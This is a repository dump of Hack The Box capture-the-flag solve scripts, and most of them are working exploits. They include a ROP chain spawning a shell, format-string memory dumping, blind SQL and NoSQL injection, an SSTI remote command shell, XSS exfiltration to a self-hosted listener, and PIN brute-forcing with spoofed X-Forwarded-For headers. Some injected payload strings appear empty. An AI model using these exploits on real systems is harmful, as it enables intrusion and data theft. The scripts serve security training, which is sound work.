/Challenges/Pwn/Vault-breaker/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, log, remote, sys 4 | 5 | context.binary = 'vault-breaker' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | p.sendlineafter(b'> ', b'1') 19 | p.sendlineafter(b'[*] Length of new password (0-31): ', b'0') 20 | progress = log.progress('Number') 21 | 22 | for i in range(0x17, -1, -1): 23 | progress.status(str(i)) 24 | p.sendlineafter(b'> ', b'1') 25 | p.sendlineafter(b'[*] Length of new password (0-31): ', str(i).encode()) 26 | 27 | p.sendlineafter(b'> ', b'2') 28 | p.recvuntil(b'HTB') 29 | flag = b'HTB' + p.recvline().strip() 30 | p.recv() 31 | p.close() 32 | print(flag.decode()) 33 | 34 | 35 | if __name__ == '__main__': 36 | main() 37 | -------------------------------------------------------------------------------- /Challenges/Pwn/Void/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Void 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/void 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Void/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | context.binary = 'void' 6 | 7 | rop = ROP(context.binary) 8 | dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0']) 9 | rop.read(0, dlresolve.data_addr) 10 | rop.raw(rop.ret[0]) 11 | rop.ret2dlresolve(dlresolve) 12 | raw_rop = rop.chain() 13 | 14 | if len(sys.argv) == 1: 15 | p = context.binary.process() 16 | else: 17 | host, port = sys.argv[1].split(':') 18 | p = remote(host, port) 19 | 20 | p.sendline(b'A' * 72 + raw_rop) 21 | p.sendline(dlresolve.payload) 22 | p.interactive() 23 | -------------------------------------------------------------------------------- /Challenges/Pwn/Zombiedote/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Zombiedote 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/zombiedote 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Zombienator/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Zombienator 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/zombienator 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/echoland/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. echoland 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/echoland 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/echoland/dump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | 6 | def get_process(): 7 | if len(sys.argv) < 2: 8 | log.error(f'Usage {sys.argv[0]} :') 9 | 10 | host, port = sys.argv[1].split(':') 11 | return remote(host, int(port)) 12 | 13 | 14 | def dump(p, i: int) -> bytes: 15 | p.sendlineafter(b'> ', f'%{i}$lx'.encode()) 16 | return p.recvline().strip() 17 | 18 | 19 | def main(): 20 | p = get_process() 21 | 22 | main_position = 20 23 | main_offset = 0x1160 24 | 25 | main_addr = int(dump(p, main_position).decode(), 16) 26 | elf_addr = main_addr - main_offset 27 | log.info(f'Binary base address: {hex(elf_addr)}') 28 | 29 | offset = 0 30 | 31 | with open('echoland_dump', 'ab') as f: 32 | while True: 33 | addr = elf_addr + offset 34 | 35 | if b'n' in p64(addr): 36 | f.write(b'\0') 37 | offset += 1 38 | continue 39 | 40 | try: 41 | p.sendlineafter(b'> ', b'%9$s....' + p64(addr)) 42 | data = p.recvuntil(b'1. Scream.').split(b'....')[0] + b'\0' 43 | log.info(f'Dumping address: {hex(addr)} => {data}') 44 | f.write(data) 45 | offset += len(data) 46 | except (EOFError, KeyboardInterrupt): 47 | log.success('Finished') 48 | break 49 | 50 | 51 | if __name__ == '__main__': 52 | main() 53 | -------------------------------------------------------------------------------- /Challenges/Pwn/knote/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. knote 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/knote 4 | -------------------------------------------------------------------------------- /Challenges/Reversing/Headache/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Reversing. Headache 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/reversing/headache 4 | -------------------------------------------------------------------------------- /Challenges/Reversing/Headache/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import log, process 4 | 5 | 6 | def main(): 7 | p = process(['gdb', '-q', 'headache']) 8 | gef = b'gef\xe2\x9e\xa4 \x01\x1b[0m\x02' 9 | 10 | p.sendlineafter(gef, b'catch syscall ptrace') 11 | p.sendlineafter(gef, b'run') 12 | 13 | for i in range(4): 14 | p.sendlineafter(gef, b'set $rax = 0') 15 | 16 | if i == 3: 17 | p.sendlineafter(gef, b'break *0x555555556076') 18 | p.sendlineafter(gef, b'break *0x555555556646') 19 | 20 | p.sendlineafter(gef, b'continue') 21 | 22 | p.recv() 23 | p.sendline(b'A' * 20) 24 | p.sendlineafter(gef, b'continue') 25 | 26 | flag = [] 27 | prog = log.progress('Flag') 28 | 29 | for _ in range(20): 30 | prog.status(''.join(flag)) 31 | p.sendlineafter(gef, b'set $rax = $rdx') 32 | p.sendlineafter(gef, b'p/x $rdx') 33 | 34 | rdx = p.recvline().decode().strip().split()[-1] 35 | flag.append(chr(int(rdx, 16))) 36 | 37 | p.sendlineafter(gef, b'continue') 38 | 39 | p.close() 40 | 41 | prog.success(''.join(flag)) 42 | 43 | 44 | if __name__ == '__main__': 45 | main() 46 | -------------------------------------------------------------------------------- /Challenges/Reversing/Potion Master/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Reversing. Potion Master 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/reversing/potion-master 4 | -------------------------------------------------------------------------------- /Challenges/Reversing/Potion Master/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from functools import reduce 4 | from z3 import BitVec, Solver 5 | 6 | x = [BitVec(f'x{i}', 8) for i in range(76)] 7 | s = Solver() 8 | 9 | a = [-43, 61, 58, 5, -4, -11, 64, -40, -43, 61, 62, -51, 46, 15, -49, -44, 47, 4, 6, -7, 47, 7, -59, 52, 17, 11, -56, 61, -74, 52, 63, -21, 53, -17, 66, -10, -58, 0] 10 | b = [6, 106, 10, 0, 119, 52, 51, 101, 0, 0, 15, 48, 116, 22, 10, 58, 93, 59, 106, 43, 30, 47, 93, 62, 97, 63] 11 | c = [304, 357, 303, 320, 304, 307, 349, 305, 257, 337, 340, 309, 396, 333, 320, 380, 362, 368, 286] 12 | d = [52, 52, 95, 95, 110, 49, 51, 51, 95, 110, 110, 53, 116, 51, 98, 63] 13 | 14 | for i in range(0, 76, 2): 15 | s.add(reduce(lambda x, y: x - y, x[i : i + 2]) == a[i // 2]) 16 | 17 | for i in range(0, 76, 3): 18 | s.add(reduce(lambda x, y: x ^ y, x[i : i + 3]) == b[i // 3]) 19 | 20 | for i in range(0, 76, 4): 21 | s.add(reduce(lambda x, y: x + y, x[i : i + 4]) == c[i // 4]) 22 | 23 | for i in range(0, 76, 5): 24 | s.add(x[i] == d[i // 5]) 25 | 26 | for i in range(76): 27 | s.add(x[i] <= 0x7f) 28 | s.add(0x20 <= x[i]) 29 | 30 | s.check() 31 | model = s.model() 32 | 33 | flag = ''.join(chr(model[i].as_long()) for i in x) 34 | 35 | print('HTB{' + flag + '}') 36 | -------------------------------------------------------------------------------- /Challenges/Reversing/Rebuilding/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Reversing. Rebuilding 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/reversing/rebuilding 4 | -------------------------------------------------------------------------------- /Challenges/Reversing/Rebuilding/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import log, process 4 | 5 | 6 | def main(): 7 | p = process(['gdb', '-q', 'rebuilding']) 8 | gef = b'gef\xe2\x9e\xa4 \x01\x1b[0m\x02' 9 | 10 | p.sendlineafter(gef, b'break *main+303') 11 | p.sendlineafter(gef, b'run ' + b'A' * 32) 12 | 13 | flag = [] 14 | prog = log.progress('Flag') 15 | 16 | for _ in range(32): 17 | prog.status(''.join(flag)) 18 | p.sendlineafter(gef, b'set $rax = $rcx') 19 | p.sendlineafter(gef, b'p/c $rcx') 20 | 21 | rcx = p.recvline().decode().strip().split()[-1] 22 | flag.append(chr(int(rcx, 16))) 23 | 24 | p.sendlineafter(gef, b'continue') 25 | 26 | p.close() 27 | prog.success(''.join(flag) + '}') 28 | 29 | 30 | if __name__ == '__main__': 31 | main() 32 | -------------------------------------------------------------------------------- /Challenges/Reversing/Spooky License/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Reversing. Spooky License 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/reversing/spooky-license 4 | -------------------------------------------------------------------------------- /Challenges/Reversing/Spooky License/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from z3 import BitVec, Solver 4 | 5 | a = [BitVec(f'a{i}', 8) for i in range(32)] 6 | s = Solver() 7 | 8 | s.add(a[0x1d] == a[5] - a[3] + 0x46) 9 | s.add(a[2] + a[0x16] == a[0xd] + 0x7b) 10 | s.add(a[0xc] + a[4] == a[5] + 0x1c) 11 | s.add(a[0x19] * a[0x17] == a[0] + a[0x11] + 0x17) 12 | s.add(a[0x1b] * a[1] == a[5] + a[0x16] - 0x15) 13 | s.add(a[9] * a[0xd] == a[0x1c] * a[3] - 9) 14 | s.add(a[9] == 0x70) 15 | s.add(a[0x13] + a[0x15] == a[6] - 0x80) 16 | s.add(a[0x10] == a[0xf] - a[0xb] + 0x30) 17 | s.add(a[7] * a[0x1b] == a[1] * a[0xd] + 0x2d) 18 | s.add(a[0xd] == a[0x12] + a[0xd] - 0x65) 19 | s.add(a[0x14] - a[8] == a[9] + 0x7c) 20 | s.add(a[0x1f] == a[8] - a[0x1f] - 0x79) 21 | s.add(a[0x14] * a[0x1f] == a[0x14] + 0x04) 22 | s.add(a[0x18] - a[0x11] == a[0x15] + a[8] - 0x17) 23 | s.add(a[7] + a[5] == a[5] + a[0x1d] + 0x2c) 24 | s.add(a[0xc] * a[10] == a[1] - a[0xb] - 0x24) 25 | s.add(a[0x1f] * a[0] == a[0x1a] - 0x1b) 26 | s.add(a[1] + a[0x14] == a[10] - 0x7d) 27 | s.add(a[0x12] == a[0x1b] + a[0xe] + 0x02) 28 | s.add(a[0x1e] * a[0xb] == a[0x15] + 0x44) 29 | s.add(a[5] * a[0x13] == a[1] - 0x2c) 30 | s.add(a[0xd] - a[0x1a] == a[0x15] - 0x7f) 31 | s.add(a[0x17] == a[0x1d] - a[0] + 0x58) 32 | s.add(a[0x13] == a[8] * a[0xd] - 0x17) 33 | s.add(a[6] + a[0x16] == a[3] + 0x53) 34 | s.add(a[0xc] == a[0x1a] + a[7] - 0x72) 35 | s.add(a[0x10] == a[0x12] - a[5] + 0x33) 36 | s.add(a[0x1e] - a[8] == a[0x1d] - 0x4d) 37 | s.add(a[0x14] - a[0xb] == a[3] - 0x4c) 38 | s.add(a[0x10] - a[7] == a[0x11] + 0x66) 39 | s.add(a[1] + a[0x15] == a[0xb] + a[0x12] + 0x2b) 40 | 41 | s.check() 42 | model = s.model() 43 | 44 | flag = ''.join(chr(model[i].as_long()) for i in a) 45 | print(flag) 46 | -------------------------------------------------------------------------------- /Challenges/Reversing/The Vault/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Reversing. The Vault 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/reversing/the-vault 4 | -------------------------------------------------------------------------------- /Challenges/Reversing/The Vault/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import process 4 | 5 | 6 | def main(): 7 | p = process(['gdb', '-q', 'vault']) 8 | gef = b'gef\xe2\x9e\xa4 \x01\x1b[0m\x02' 9 | 10 | p.sendlineafter(gef, b'break *0x5555555603a1') 11 | p.sendlineafter(gef, b'run') 12 | 13 | flag = [] 14 | prog = p.progress('Flag') 15 | 16 | for _ in range(0x19): 17 | prog.status(''.join(flag)) 18 | p.sendlineafter(gef, b'set $rax = $rcx') 19 | p.sendlineafter(gef, b'p/c $rax') 20 | 21 | al = p.recvline().decode().strip().split()[-1] 22 | flag.append(chr(int(al, 16))) 23 | 24 | p.sendlineafter(gef, b'continue') 25 | 26 | prog.success(''.join(flag)) 27 | 28 | 29 | if __name__ == '__main__': 30 | main() 31 | -------------------------------------------------------------------------------- /Challenges/Reversing/Up a Stream/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Reversing. Up a Stream 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/reversing/up-a-stream 4 | -------------------------------------------------------------------------------- /Challenges/Reversing/Up a Stream/Solve.java: -------------------------------------------------------------------------------- 1 | import java.util.Arrays; 2 | 3 | public class Solve { 4 | public static void main(String[] args) { 5 | if (args.length != 1) { 6 | System.out.println("Usage: java Solve.java "); 7 | System.exit(1); 8 | } 9 | 10 | System.out.println(Solve.reverseDunkTheFlag(args[0])); 11 | } 12 | 13 | private static String reverseDunkTheFlag(String s) { 14 | return Arrays.asList(s.substring(4 * s.length() / 5).split("O")) 15 | .stream() 16 | .map(h -> Integer.valueOf(h, 16)) 17 | .map(Solve::undilute) 18 | .map(Solve::undrench) 19 | .map(Solve::unmoisten) 20 | .map(n -> Character.toString((char) (int) n)) 21 | .reduce("", (s1, s2) -> s2 + s1); 22 | } 23 | 24 | private static Integer unmoisten(int n) { 25 | return (int) (n % 2 == 0 ? (double) n : Math.sqrt(n)); 26 | } 27 | 28 | private static Integer undrench(Integer n) { 29 | return n >> 1; 30 | } 31 | 32 | private static Integer undilute(Integer n) { 33 | return n * 2 / 3; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Challenges/Web/0xBOverchunked/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Web. 0xBOverchunked 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/web/0xboverchunked 4 | -------------------------------------------------------------------------------- /Challenges/Web/0xBOverchunked/solve.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "os" 7 | "sync" 8 | 9 | "net/http" 10 | ) 11 | 12 | const THREADS = 100 13 | 14 | var guard = make(chan struct{}, THREADS) 15 | var wg sync.WaitGroup 16 | var baseUrl string 17 | 18 | func oracle(reqBody string) bool { 19 | guard <- struct{}{} 20 | 21 | req, _ := http.NewRequest("POST", baseUrl+"/Controllers/Handlers/SearchHandler.php", bytes.NewBuffer([]byte(reqBody))) 22 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 23 | req.TransferEncoding = []string{"chunked"} 24 | 25 | res, err := (&http.Client{}).Do(req) 26 | 27 | if err != nil { 28 | <-guard 29 | return false 30 | } 31 | 32 | defer res.Body.Close() 33 | <-guard 34 | 35 | return res.StatusCode == 200 36 | } 37 | 38 | func testLength(length int) bool { 39 | return oracle(fmt.Sprintf("search=6' AND LENGTH(gamedesc) = %d-- -", length)) 40 | } 41 | 42 | func testFlagCharacter(character byte, index int) bool { 43 | return oracle(fmt.Sprintf("search=6' AND SUBSTR(gamedesc, %d, 1) = '%c", index, character)) 44 | } 45 | 46 | func main() { 47 | baseUrl = "http://" + os.Args[1] 48 | chars := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$@_" 49 | 50 | length := 1 51 | 52 | for !testLength(length) { 53 | length++ 54 | } 55 | 56 | flag := make([]byte, length) 57 | flag[0] = 'H' 58 | flag[1] = 'T' 59 | flag[2] = 'B' 60 | flag[3] = '{' 61 | flag[length-1] = '}' 62 | 63 | for _, r := range chars { 64 | for i := 0; i < length; i++ { 65 | wg.Add(1) 66 | 67 | go func(b byte, index int) { 68 | defer wg.Done() 69 | 70 | if flag[index] == 0 && testFlagCharacter(b, index+1) { 71 | flag[index] = b 72 | } 73 | }(byte(r), i) 74 | } 75 | } 76 | 77 | wg.Wait() 78 | 79 | fmt.Println(string(flag)) 80 | } 81 | -------------------------------------------------------------------------------- /Challenges/Web/AbuseHumanDB/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Web. AbuseHumanDB 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/web/abusehumandb 4 | -------------------------------------------------------------------------------- /Challenges/Web/AbuseHumanDB/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import logging 4 | import requests 5 | 6 | from flask import Flask, request 7 | from pwn import log, sys, threading 8 | from urllib.parse import unquote 9 | 10 | logging.getLogger('werkzeug').disabled = True 11 | cli = sys.modules['flask.cli'] 12 | cli.show_server_banner = lambda *_: None 13 | 14 | if len(sys.argv) != 3: 15 | log.error(f'Usage: python3 {sys.argv[0]} ') 16 | 17 | victim_url = sys.argv[1] 18 | ngrok_url = sys.argv[2] 19 | 20 | flag = 'HTB{' 21 | 22 | app = Flask(__name__) 23 | 24 | 25 | @app.route('/') 26 | def index(): 27 | global flag 28 | 29 | if request.query_string != b'': 30 | flag = unquote(request.query_string.decode()[5:]) 31 | return '' 32 | 33 | return f''' 34 | 35 | 36 | 37 | 48 | 49 | 50 | ''' 51 | 52 | 53 | def main(): 54 | global flag 55 | 56 | threading.Thread(target=lambda: app.run( 57 | host='0.0.0.0', port=80, debug=False, use_reloader=False)).start() 58 | 59 | flag_progress = log.progress('Flag') 60 | 61 | while '}' not in flag: 62 | previous_flag = flag 63 | requests.post(f'{victim_url}/api/entries', json={'url': ngrok_url}) 64 | 65 | if flag == previous_flag: 66 | flag += '_' 67 | 68 | flag_progress.status(flag) 69 | 70 | flag_progress.success(flag) 71 | 72 | 73 | if __name__ == '__main__': 74 | main() 75 | -------------------------------------------------------------------------------- /Challenges/Web/BatchCraft Potions/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Web. BatchCraft Potions 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/web/batchcraft-potions 4 | -------------------------------------------------------------------------------- /Challenges/Web/Breaking Bank/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Web. Breaking Bank 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/web/breaking-bank 4 | -------------------------------------------------------------------------------- /Challenges/Web/E.Tree/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Web. E.Tree 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/web/e.tree 4 | -------------------------------------------------------------------------------- /Challenges/Web/Wild Goose Hunt/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Web. Wild Goose Hunt 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/web/wild-goose-hunt 4 | -------------------------------------------------------------------------------- /Challenges/Web/Wild Goose Hunt/solve.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | "os" 8 | "strings" 9 | "sync" 10 | 11 | "net/http" 12 | ) 13 | 14 | const THREADS = 100 15 | 16 | var guard = make(chan struct{}, THREADS) 17 | var wg sync.WaitGroup 18 | var baseUrl string 19 | 20 | func oracle(reqBody string) bool { 21 | guard <- struct{}{} 22 | 23 | req, _ := http.NewRequest("POST", baseUrl+"/api/login", bytes.NewBuffer([]byte(reqBody))) 24 | req.Header.Set("Content-Type", "application/json") 25 | 26 | res, err := (&http.Client{}).Do(req) 27 | 28 | if err != nil { 29 | <-guard 30 | return false 31 | } 32 | 33 | defer res.Body.Close() 34 | 35 | body, err := io.ReadAll(res.Body) 36 | 37 | if err != nil { 38 | panic(err) 39 | } 40 | 41 | <-guard 42 | return bytes.Contains(body, []byte("Success")) 43 | } 44 | 45 | func testLength(length int) bool { 46 | reqBody := fmt.Sprintf(`{"username":"admin","password":{"$regex":"HTB{%s}"}}`, strings.Repeat(".", length)) 47 | 48 | return oracle(reqBody) 49 | } 50 | 51 | func testPasswordCharacter(password string) bool { 52 | reqBody := fmt.Sprintf(`{"username":"admin","password":{"$regex":"HTB{%s}"}}`, password) 53 | 54 | return oracle(reqBody) 55 | } 56 | 57 | func main() { 58 | baseUrl = "http://" + os.Args[1] 59 | chars := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$@_" 60 | 61 | length := 1 62 | 63 | for !testLength(length) { 64 | length++ 65 | } 66 | 67 | flag := make([]byte, length) 68 | 69 | for _, r := range chars { 70 | for i := 0; i < length; i++ { 71 | wg.Add(1) 72 | 73 | go func(b byte, index int) { 74 | defer wg.Done() 75 | password := bytes.Repeat([]byte{'.'}, length) 76 | password[index] = b 77 | 78 | if flag[index] == 0 && testPasswordCharacter(string(password)) { 79 | flag[index] = b 80 | } 81 | }(byte(r), i) 82 | } 83 | } 84 | 85 | wg.Wait() 86 | 87 | fmt.Println("HTB{" + string(flag) + "}") 88 | } 89 | -------------------------------------------------------------------------------- /Challenges/Web/baby ninja jinja/ssti.py: -------------------------------------------------------------------------------- 1 | import json 2 | import re 3 | import requests 4 | import sys 5 | 6 | from base64 import b64decode as b64d 7 | 8 | 9 | def pad_b64(string: str) -> str: 10 | return string + '=' * (-len(string) % 4) 11 | 12 | 13 | def exec_cmd(host: str, cmd: str): 14 | params = { 15 | 'name': '{% if session.update({request.args.c: cycler.__init__.__globals__.os.popen(request.args.cmd).read().decode()}) == 1 %}{% endif %}', 16 | 'c': 'c', 17 | 'cmd': cmd 18 | } 19 | 20 | res = requests.get(f'http://{host}', params) 21 | 22 | set_cookie = res.headers['Set-Cookie'] 23 | session = re.findall(r'session=(.*?)\.', set_cookie)[0] 24 | 25 | try: 26 | content = json.loads(b64d(pad_b64(session)).decode()) 27 | print(content['c']) 28 | except json.JSONDecodeError: 29 | print('Could not decode\n') 30 | 31 | 32 | def main(): 33 | hostname = sys.argv[1] 34 | 35 | while True: 36 | try: 37 | exec_cmd(hostname, input('$ ')) 38 | except KeyboardInterrupt: 39 | exit() 40 | 41 | 42 | if __name__ == '__main__': 43 | main() 44 | -------------------------------------------------------------------------------- /Challenges/Web/emoji voting/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Web. emoji voting 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/web/emoji-voting 4 | -------------------------------------------------------------------------------- /Challenges/Web/emoji voting/solve.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | const BASE_URL = `http://${process.argv[2]}` 4 | const CHARS = `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$?@_{}` 5 | 6 | const oracle = async payload => { 7 | const res = await fetch(`${BASE_URL}/api/list`, { 8 | body: JSON.stringify({ order: `(CASE WHEN ${payload} THEN id ELSE count END)` }), 9 | headers: { 'Content-Type': 'application/json' }, 10 | method: 'POST', 11 | }) 12 | const data = await res.json() 13 | 14 | return data[0].id === 1 15 | } 16 | 17 | const main = async () => { 18 | let flagTableName = 'flag_' 19 | 20 | while (flagTableName.length !== 15) { 21 | for (let c of CHARS) { 22 | if (await oracle(`(SELECT SUBSTR(tbl_name, ${flagTableName.length + 1}, 1) FROM sqlite_master WHERE tbl_name LIKE 'flag_%') = '${c}'`)) { 23 | flagTableName += c 24 | break 25 | } 26 | } 27 | } 28 | 29 | console.log('Flag table name:', flagTableName) 30 | 31 | let flagLength = 1 32 | 33 | while (await oracle(`(SELECT LENGTH(flag) FROM ${flagTableName}) != ${flagLength}`)) { 34 | flagLength++ 35 | } 36 | 37 | console.log(`Flag length: ${flagLength}`) 38 | 39 | let flag = 'HTB{' 40 | 41 | while (flag.length !== flagLength - 1) { 42 | for (let c of CHARS) { 43 | if (await oracle(`(SELECT SUBSTR(flag, ${flag.length + 1}, 1) FROM ${flagTableName}) = '${c}'`)) { 44 | flag += c 45 | break 46 | } 47 | } 48 | } 49 | 50 | flag += '}' 51 | 52 | console.log('Flag:', flag) 53 | } 54 | 55 | main() 56 | -------------------------------------------------------------------------------- /Challenges/Web/wafwaf/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Web. wafwaf 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/web/wafwaf 4 | -------------------------------------------------------------------------------- /Machines/Alert/lfr.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | from flask import Flask, request 6 | from pwn import b64d, logging, os, re, sys, Thread 7 | 8 | 9 | URL = 'http://alert.htb' 10 | IP = sys.argv[1] 11 | PORT = 5000 12 | filename = sys.argv[2] 13 | 14 | logging.getLogger('werkzeug').disabled = True 15 | cli = sys.modules['flask.cli'] 16 | cli.show_server_banner = lambda *_: None 17 | 18 | app = Flask(__name__) 19 | 20 | 21 | @app.route('/') 22 | def index(): 23 | print(b64d(request.query_string[2:]).decode('latin1')[5:-8]) 24 | os._exit(0) 25 | 26 | 27 | Thread(target=app.run, kwargs={'port': PORT, 'host': IP}).start() 28 | 29 | markdown = f'''''' 30 | 31 | r = requests.post(f'{URL}/visualizer.php', files={'file': ('test.md', markdown, 'text/x-markdown')}) 32 | link = re.findall(r'', r.text)[0] 33 | 34 | requests.post(f'{URL}/contact.php', data={'email': 'asdf@asdf.com', 'message': link}) 35 | -------------------------------------------------------------------------------- /Machines/Altered/bf_pin.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'securerandom' 4 | require 'uri' 5 | 6 | require 'net/http' 7 | 8 | NAME = 'admin'.freeze 9 | IP = '10.10.11.159'.freeze 10 | 11 | def get_cookie(set_cookie) 12 | xsrf = set_cookie.match(/(XSRF-TOKEN=.*?);/)[1] 13 | laravel = set_cookie.match(/(laravel_session=.*?);/)[1] 14 | "#{xsrf}; #{laravel}" 15 | end 16 | 17 | res = Net::HTTP.get_response(URI("http://#{IP}/reset")) 18 | token = res.body.match(//)[1] 19 | cookie = get_cookie(res['Set-Cookie']) 20 | 21 | res = Net::HTTP.post(URI("http://#{IP}/reset"), "_token=#{token}&name=#{NAME}", { 'Cookie' => cookie }) 22 | Cookie = get_cookie(res['Set-Cookie']).freeze 23 | 24 | puts "[*] Using cookie: #{cookie}" 25 | 26 | def rand_ip 27 | Array.new(4).map { SecureRandom.random_number(256) }.join('.') 28 | end 29 | 30 | def try_pin(pin) 31 | data = "name=#{NAME}&pin=#{pin.to_s.rjust(4, '0')}" 32 | headers = { 'X-Forwarded-For' => rand_ip, 'Cookie' => Cookie } 33 | res = Net::HTTP.post(URI("http://#{IP}/api/resettoken"), data, headers) 34 | invalid = res.body.include?('Invalid') 35 | 36 | puts "\n[+] #{pin.to_s.rjust(4, '0')} is valid" unless invalid 37 | 38 | !invalid 39 | end 40 | 41 | max_threads = 200 42 | threads = Array.new(max_threads) 43 | tests = Array.new(max_threads) 44 | 45 | pin = 0 46 | 47 | while pin <= 9999 48 | print "[*] Trying from #{pin.to_s.rjust(4, '0')} to #{(pin + max_threads).to_s.rjust(4, '0')}...\r" 49 | 50 | (0...max_threads).each do |i| 51 | threads[i] = ->(tpin) { Thread.new { tests[i] = try_pin(tpin) } }.call(pin) 52 | pin += 1 53 | end 54 | 55 | threads.each(&:join) 56 | break if tests.any? 57 | end 58 | -------------------------------------------------------------------------------- /Machines/Antique/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Machines. Antique 2 | 3 | Machine write-up: https://7rocky.github.io/en/htb/antique 4 | 5 | ### `decode.py` 6 | 7 | This script is made to decode a password obtained using `snmpwalk` as hexadecimal digits: 8 | 9 | ```console 10 | $ snmpwalk -v2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0 11 | 12 | iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 13 | ``` 14 | 15 | We import `binascii` library to use `unhexlify` function for decoding. As we don't know if the whole stream of digits will decode correctly, we wrap the decoding process using a `try`-`except` block. 16 | 17 | Notice that `unhexlify` returns a `bytes` object, so we need to transform it to `str` using the `decode` function: 18 | 19 | ```python 20 | try: 21 | print(''.join(map(lambda x: x.decode(), map(binascii.unhexlify, bits)))) 22 | except binascii.Error as e: 23 | print('binascii.Error', e) 24 | ``` 25 | 26 | The bits will be passed to the program as arguments. 27 | 28 | First we find that there are decoding errors: 29 | 30 | ```console 31 | $ python3 decode.py 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 32 | binascii.Error Odd-length string 33 | ``` 34 | 35 | We can remove digits from the end until everything decodes correctly: 36 | 37 | 